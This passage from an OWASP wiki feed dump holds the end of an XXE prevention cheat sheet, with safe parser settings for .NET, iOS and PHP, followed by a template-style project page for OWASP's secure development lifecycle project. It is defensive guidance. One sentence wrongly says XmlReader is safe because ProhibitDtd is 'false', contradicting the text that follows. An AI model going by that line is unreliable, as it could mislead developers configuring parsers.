System.Xml.XmlReader objects are safe by default. They are set by default to have their ProhibitDtd property set to false in .NET Framework versions 4.0 and earlier, or their DtdProcessing property set to Prohibit in .NET versions 4.0 and later. Additionally, in .NET versions 4.5.2 and later, the XmlReaderSettings belonging to the XmlReader has its XmlResolver set to null by default, which provides an additional layer of safety. Therefore, XmlReader objects will only become unsafe in version 4.5.2 and up if both the DtdProcessing property is set to Parse and the XmlReaderSetting's XmlResolver is set to a nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx referenced MSDN article].&lt;br /&gt;
&lt;br /&gt;
=== XmlTextReader ===&lt;br /&gt;
System.Xml.XmlTextReader is '''unsafe''' by default in .NET Framework versions prior to 4.5.2. Here is how to make it safe in various .NET versions:&lt;br /&gt;
&lt;br /&gt;
==== Prior to .NET 4.0 ====&lt;br /&gt;
In .NET Framework versions prior to 4.0, DTD parsing behavior for XmlReader objects like XmlTextReader are controlled by the Boolean ProhibitDtd property found in the System.Xml.XmlReaderSettings and System.Xml.XmlTextReader classes. Set these values to true to disable inline DTDs completely.&lt;br /&gt;
&lt;br /&gt;
 XmlTextReader reader = new XmlTextReader(stream);&lt;br /&gt;
 reader.ProhibitDtd = true;  // NEEDED because the default is FALSE!!&lt;br /&gt;
&lt;br /&gt;
==== .NET 4.0 - .NET 4.5.2 ====&lt;br /&gt;
&lt;br /&gt;
In .NET Framework version 4.0, DTD parsing behavior has been changed. The ProhibitDtd property has been deprecated in favor of the new DtdProcessing property. However, they didn't change the default settings so XmlTextReader is still vulnerable to XXE by default. Setting DtdProcessing to Prohibit causes the runtime to throw an exception if a &amp;lt;!DOCTYPE&amp;gt; element is present in the XML. To set this value yourself, it looks like this:&lt;br /&gt;
&lt;br /&gt;
 XmlTextReader reader = new XmlTextReader(stream);&lt;br /&gt;
 reader.DtdProcessing = DtdProcessing.Prohibit;  // NEEDED because the default is Parse!!&lt;br /&gt;
Alternatively, you can set the DtdProcessing property to Ignore, which will not throw an exception on encountering a &amp;lt;!DOCTYPE&amp;gt; element but will simply skip over it and not process it. Finally, you can set DtdProcessing to Parse if you do want to allow and process inline DTDs.&lt;br /&gt;
&lt;br /&gt;
==== .NET 4.5.2 and later ====&lt;br /&gt;
&lt;br /&gt;
In .NET Framework versions 4.5.2 and up, XmlTextReader's internal XmlResolver is set to null by default, making the XmlTextReader ignore DTDs by default. The XmlTextReader can become unsafe if if you create your own nonnull XmlResolver with default or unsafe settings.&lt;br /&gt;
&lt;br /&gt;
=== XPathNavigator ===&lt;br /&gt;
System.Xml.XPath.XPathNavigator is '''unsafe''' by default in .NET Framework versions prior to 4.5.2. This is due to the fact that it implements IXPathNavigable objects like XmlDocument, which are also unsafe by default in versions prior to 4.5.2. You can make XPathNavigator safe by giving it a safe parser like XmlReader (which is safe by default) in the XPathDocument's constructor. Here is an example:&amp;lt;syntaxhighlight lang=&amp;quot;c#&amp;quot;&amp;gt;&lt;br /&gt;
XmlReader reader = XmlReader.Create(&amp;quot;example.xml&amp;quot;);&lt;br /&gt;
XPathDocument doc = new XPathDocument(reader);&lt;br /&gt;
XPathNavigator nav = doc.CreateNavigator(); &lt;br /&gt;
string xml = nav.InnerXml.ToString();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XslCompiledTransform ===&lt;br /&gt;
System.Xml.Xsl.XslCompiledTransform (an XML transformer) is safe by default as long as the parser it’s given is safe. It is safe by default because the default parser of the Transform() methods is an XmlReader, which is safe by default (per above). [http://www.dotnetframework.org/default.aspx/4@0/4@0/DEVDIV_TFS/Dev10/Releases/RTMRel/ndp/fx/src/Xml/System/Xml/Xslt/XslCompiledTransform@cs/1305376/XslCompiledTransform@cs The source code for this method is here.] Some of the Transform() methods accept an XmlReader or IXPathNavigable (e.g., XmlDocument) as an input, and if you pass in an unsafe XML Parser then the Transform will also be unsafe.&lt;br /&gt;
&lt;br /&gt;
==iOS==&lt;br /&gt;
&lt;br /&gt;
===libxml2===&lt;br /&gt;
&lt;br /&gt;
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).&lt;br /&gt;
&lt;br /&gt;
===NSXMLDocument===&lt;br /&gt;
&lt;br /&gt;
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:&lt;br /&gt;
&lt;br /&gt;
* iOS4 and earlier: All external entities are loaded by default.&lt;br /&gt;
&lt;br /&gt;
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)&lt;br /&gt;
&lt;br /&gt;
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
&lt;br /&gt;
Per [http://php.net/manual/en/function.libxml-disable-entity-loader.php the PHP documentation], the following should be set when using the default PHP XML parser in order to prevent XXE:&lt;br /&gt;
&lt;br /&gt;
libxml_disable_entity_loader(true);&lt;br /&gt;
&lt;br /&gt;
A description of how to abuse this in PHP is presented in a good [https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/ SensePost article] describing a cool PHP based XXE vulnerability that was fixed in Facebook.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [[Top_10-2017_A4-XML_External_Entities_(XXE)| OWASP Top 10-2017 A4: XML External Entities (XXE)]]&lt;br /&gt;
* [https://vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 paper: &amp;quot;XML Schema, DTD, and Entity Attacks&amp;quot;]&lt;br /&gt;
* [https://find-sec-bugs.github.io/bugs.htm#XXE_SAXPARSER FindSecBugs XXE Detection]&lt;br /&gt;
* [https://github.com/ssexxe/XXEBugFind XXEbugFind Tool]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Xiaoran_Wang|Xiaoran Wang]] - xiaoran[at]attacker-domain.com&amp;lt;br /&amp;gt;&lt;br /&gt;
James Jardine - james[at]jardinesoftware.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Dfleming|Dean Fleming]]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Secure_Software_Development_Lifecycle_Project&amp;diff=241204</id>
		<title>OWASP Secure Software Development Lifecycle Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Secure_Software_Development_Lifecycle_Project&amp;diff=241204"/>
				<updated>2018-06-08T06:00:31Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Correct minor grammar errors&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!-- Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.--&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==OWASP Secure Software Development Lifecycle Project(S-SDLC)==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--This is where you need to add your more robust project description. A project description should outline the purpose of the project, and the value it provides to application security. Ideally, project descriptions should be written in such a way that there is no question what value the project provides to the software security community. This section will be seen and used in various places within the Projects Portal. Poorly written project descriptions therefore detract from a project’s visibility, and project leaders should ensure that the description is meaningful.--&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP Secure Software Development Life Cycle Project(S-SDLC) is an overall security software methodology for Web and APP developers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Its aim is to define a standard Secure Software Development Life Cycle and then help developers to know what should be considered or best practices at each phase of a development Life Cycle (e.g. Design Phase/Coding Phase/Maintain Phase/etc.) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Software security has now become a wider concept other than network security. &lt;br /&gt;
There is a developing common sense that creating secured enough software is not just about individual skills but also or even more on work flows-- Software Development Life Cycle. To achieve security requires to be involved in every phase of a Secure Software Development Life Cycle.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The project’s final goal is to help users to reduce security issues, and raise the overall security level from every stage by using the methodology.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--This section must include a shorter description of what the project is, why the project was started, and what security issue is being helped by the project deliverable. This description will be used to promote the project so make sure the description represents your project in the best way possible. --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP Secure Software Development Life Cycle Project(S-SDLC) defines security software development process as well as guides, tools, checklists and templates of activities in each phase.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The project’s final goal is to help users to reduce security issues, and raise the overall security level from every stage by using the methodology.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OWASP Secure Software Development Life Cycle Project defines security software development process as well as guides, tools, checklists and templates of activities in each phase.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The delivery will contain(not final):&lt;br /&gt;
&lt;br /&gt;
•	Introduction: S-SDLC frame&lt;br /&gt;
&lt;br /&gt;
•	Training guideline: Providing Security Training System&lt;br /&gt;
&lt;br /&gt;
•	Requirements Phase: Risk Evaluation Guideline, and Requirements Criteria Doc.&lt;br /&gt;
&lt;br /&gt;
•	Design Phase: Security Design Review Guideline and Threat Modeling Guideline.&lt;br /&gt;
&lt;br /&gt;
•	Implement Phase: Security Coding Guide(C/C++、JAVA、PHP，C#)&lt;br /&gt;
&lt;br /&gt;
•	Validation Phase: Actives level, Security Testing Guideline&lt;br /&gt;
&lt;br /&gt;
•	Release/maintenance Phase: Vulnerability Management and Incident Response Guideline&lt;br /&gt;
&lt;br /&gt;
Detail information is in below table of content:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable sortable&amp;quot;&lt;br /&gt;
!Sub-Project Name&lt;br /&gt;
!Purpose&lt;br /&gt;
!RoadMap&lt;br /&gt;
!Sub-Porject Owner and Participant&lt;br /&gt;
!Output and Delivery&lt;br /&gt;
!Ref&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Project&lt;br /&gt;
|OWASP Secure Software Development Life Cycle Project defines security software development process. This part of the project is an overview of the life cycle.&lt;br /&gt;
|2017Q3&lt;br /&gt;
|Project Owner：&lt;br /&gt;
&lt;br /&gt;
RIP&lt;br /&gt;
&lt;br /&gt;
Silver Zhang&lt;br /&gt;
&lt;br /&gt;
kevin&lt;br /&gt;
&lt;br /&gt;
Yuezhong Bao&lt;br /&gt;
&lt;br /&gt;
Tianze Xia&lt;br /&gt;
&lt;br /&gt;
Project Manager：&lt;br /&gt;
&lt;br /&gt;
XuFei&lt;br /&gt;
|OWASP S-SDLC Project Introduction  Doc and Slides&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Overall Flow&lt;br /&gt;
|This part of the OWASP S-SDLC Project defines phases of the life cycle and give suggestions and best practices of adoption.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|kevin&lt;br /&gt;
&lt;br /&gt;
Peter Xiao&lt;br /&gt;
|Best Practices of S-SDLC in Enterprises &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|OWASP  S-SDLC Security Awareness Training &lt;br /&gt;
|This part provides guidelines of security awareness trainings. These trainings are to enhance the sensitivity of security of software developers.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Jie Wang&lt;br /&gt;
|(1)Training slides&lt;br /&gt;
(2)Training Videos&lt;br /&gt;
&lt;br /&gt;
(3)Examples  of examination questions&lt;br /&gt;
&lt;br /&gt;
(4) Top 10 secrutiy incidents of years for awareness training&lt;br /&gt;
|(1)OWASP TOP 10&lt;br /&gt;
&lt;br /&gt;
(2)OWASP MOBILE TOP 10&lt;br /&gt;
&lt;br /&gt;
(3)OWASP IoT TOP 10&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Requirement&lt;br /&gt;
|This part of OWASP S-SDLC aims to acquire security requirements by identifying the functional implementation, position in industry or  general  security requirements (eg, compliance requirements).&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Tianze Xia&lt;br /&gt;
|(1)Best Practices of S-SDLC Security Requirement&lt;br /&gt;
&lt;br /&gt;
(2)Security Requirement Checklist&lt;br /&gt;
|OWASP Cheat Sheet Series&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Design&lt;br /&gt;
|This part of S-SDLC will guide to deliver a doable security design to the implementation team by considering potential technical security risks. So that by avoiding the early detections of security risks, the cost to build secure products is in control.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Lance Li&lt;br /&gt;
|(1)Best Practices of S-SDLC Security Design&lt;br /&gt;
&lt;br /&gt;
(2)Benchmark of OWASP security baseline&lt;br /&gt;
&lt;br /&gt;
(3)Threat Modeling Guide&lt;br /&gt;
&lt;br /&gt;
(4)Security Guideline for Common Components &lt;br /&gt;
|(1)Application Threat Modeling&lt;br /&gt;
&lt;br /&gt;
(2)OWASP ESAPI&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Implementation&lt;br /&gt;
|The goal of this sub-project of OWASP S-SDLC are to:&lt;br /&gt;
&lt;br /&gt;
(1) Let implementation teams do secure coding. The key is to let team understand security features of the language and framework they use, and obey the output of the S-SDLC security design&lt;br /&gt;
&lt;br /&gt;
(2) Let implementation teams  identify and fix defects in legacy codes. The key is to adopt automated, efficient tech (eg. IAST) by providing guidelines and best practices.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|&lt;br /&gt;
Kan Yu&lt;br /&gt;
&lt;br /&gt;
Ricky&lt;br /&gt;
&lt;br /&gt;
|(1)Best Practices of S-SDLC Security Implementation&lt;br /&gt;
&lt;br /&gt;
(2)Security Sriteria Checking Tool Sets for  Coding  &lt;br /&gt;
&lt;br /&gt;
(3)Guideline for OWASP Code Review&lt;br /&gt;
|(1)OWASP Code Review Guide Project&lt;br /&gt;
&lt;br /&gt;
(2)OWASP Cheat Sheet Series&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Test&lt;br /&gt;
|Security testing is a process intended to reveal flaws in the security mechanisms of an information system that protect data and maintain functionality as intended&lt;br /&gt;
&lt;br /&gt;
Typical security requirements may include specific elements of confidentiality, integrity, authentication, availability, authorization and non-repudiation. Actual security requirements tested depend on the security requirements implemented by the system. Due to the logical limitations of security testing, passing security testing is not an indication that no flaws exist or that the system adequately satisfies the security requirements.&lt;br /&gt;
&lt;br /&gt;
This part of the OWASP S-SDLC project will provide some best practice and useful tips of security testing to help a.) Beginners can start security test easily; b.) Professionals can use for reference.&lt;br /&gt;
&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Tianze Xia&lt;br /&gt;
|(1)Best Practice of S-SDLC security testing &lt;br /&gt;
&lt;br /&gt;
(2)Best Practice of OWASP Cheat sheet&lt;br /&gt;
&lt;br /&gt;
(3) Best Practice of OWASP ASVS &lt;br /&gt;
|(1)OWASP testing Guide&lt;br /&gt;
&lt;br /&gt;
(2)OWASP Cheat sheet&lt;br /&gt;
&lt;br /&gt;
(3)OWASP Application Security Verification Standard Project (ASVS)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Deployment &amp;amp; SecDevOps&lt;br /&gt;
|In this phase of the S-SDLC focus on security auditing before deployment and  security monitoring. The sub-project will research on&lt;br /&gt;
&lt;br /&gt;
(1) develop a appropriate security baseline for deployment and devops&lt;br /&gt;
&lt;br /&gt;
(2) the process of incident response and related tech.&lt;br /&gt;
&lt;br /&gt;
(3)SecDevOps&lt;br /&gt;
&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|RIP&lt;br /&gt;
BaiDu,Inc&lt;br /&gt;
&lt;br /&gt;
Creditease,Inc&lt;br /&gt;
|(1)Best Practice of S-SDLC security Deployment&lt;br /&gt;
&lt;br /&gt;
(2)Best Practice of S-SDLC SecDevOps&lt;br /&gt;
&lt;br /&gt;
(3)Security Baseline for  deployment  and devops&lt;br /&gt;
&lt;br /&gt;
(4)OpenRASP&lt;br /&gt;
&lt;br /&gt;
(5)The &amp;quot;Insight&amp;quot; Platform&lt;br /&gt;
|OWASP AppSensor&lt;br /&gt;
OpenRASP&lt;br /&gt;
&lt;br /&gt;
[https://github.com/creditease-sec/insight Insight Platform]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	A project must be licensed under a community friendly or open source license.  For more information on OWASP recommended licenses, please see [https://www.owasp.org/index.php/OWASP_Licenses OWASP Licenses]. While OWASP does not promote any particular license over another, the vast majority of projects have chosen a Creative Commons license variant for documentation projects, or a GNU General Public License variant for tools and code projects. --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Creative Commons Attribution ShareAlike 3.0 License&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''The OWASP Secure Software Development Lifecycle Project materials are free to use. In fact it is encouraged!!!'''&lt;br /&gt;
'' Additionally, I also encourage you to contribute back to the project. I have no monopoly on this knowledge; however, we all have pieces of this knowledge from our experience. Let's begin by putting our individual pieces together to make something great. Great things happen when people work together.''&lt;br /&gt;
&lt;br /&gt;
The OWASP Secure Software Development Lifecycle Project materials are licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is OWASP Security Principles Project? ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	Here you should add a short description of what your project actually does. What is the primary goal of your project, and why is it important? --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP Secure Software Development Life Cycle Project is an overall security software methodology for Web and APP developers. &lt;br /&gt;
&lt;br /&gt;
The project’s goal is to help users to reduce security issues, and raise the overall security level from every stage by using the methodology.&lt;br /&gt;
&lt;br /&gt;
== Presentation ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	This is where you can link to slide presentations related to your project. --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To be updated...&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!-- 	A project leader is the individual who decides to lead the project throughout its lifecycle. The project leader is responsible for communicating the project’s progress to the OWASP Foundation, and he/she is ultimately responsible for the project’s deliverables. The project leader must provide OWASP with his/her real name and contact e-mail address for his/her project application to be accepted, as OWASP prides itself on the openness of its products, operations, and members.  --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Secure Software Development Lifecycle Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* '''[mailto:Rip@owasp.org.cn RIP]'''&lt;br /&gt;
* '''[mailto:silver@owasp.org.cn Silver Zhang]''' &lt;br /&gt;
* '''[mailto:xtz@seczone.cn Tianze Xia]'''&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--This is where you can link to other OWASP Projects that are similar to yours. --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_CISO_Survey]]&lt;br /&gt;
&lt;br /&gt;
To be updated...&lt;br /&gt;
&lt;br /&gt;
== Openhub ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.openhub.net/orgs/OWASP OWASP Project Openhub]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Download ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!-- 	This is where you can link to your repository.  --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- The home of the OWASP Security Principles is on [https://github.com/OWASP/Security-Principles GitHub.] You are encourged to fork, edit and push your changes back to the project through git or edit the project directly on github.&lt;br /&gt;
&lt;br /&gt;
However, if you like you may also download the master repository from the following links:&lt;br /&gt;
* [https://github.com/OWASP/Security-Principles/zipball/master .zip file.]&lt;br /&gt;
* [https://github.com/OWASP/Security-Principles/tarball/master .tgz file.]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be updated...&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!-- This is where you can link to press your project has been a part of. Appropriate press includes: Project Leader interviews, articles written about your project, and videos about your project. --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be updated...&lt;br /&gt;
&lt;br /&gt;
== In Print ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	This is where you place links to where your project product can be downloaded or purchased, in the case of a book.   --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--This project can be purchased as a print on demand book from Lulu.com  --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be updated...&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	Here is where you can let the community know what project stage your project is currently in, whether the project is a builder, breaker, or defender project, and what type of project you are running. --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:New projects.png|100px|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]] &lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Project_Type_Files_DOC.jpg|link=]]   &lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	Many projects have &amp;quot;Frequently Asked Questions&amp;quot; documents or pages. However, the point of such a document is not the questions. ''The point of a document like this are the '''answers'''''. The document contains the answers that people would otherwise find themselves giving over and over again. The idea is that rather than laboriously compose and post the same answers repeatedly, people can refer to this page with pre-prepared answers. Use this space to communicate your projects 'Frequent Answers.'  --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.   --&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Secure Software Development Lifecycle Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
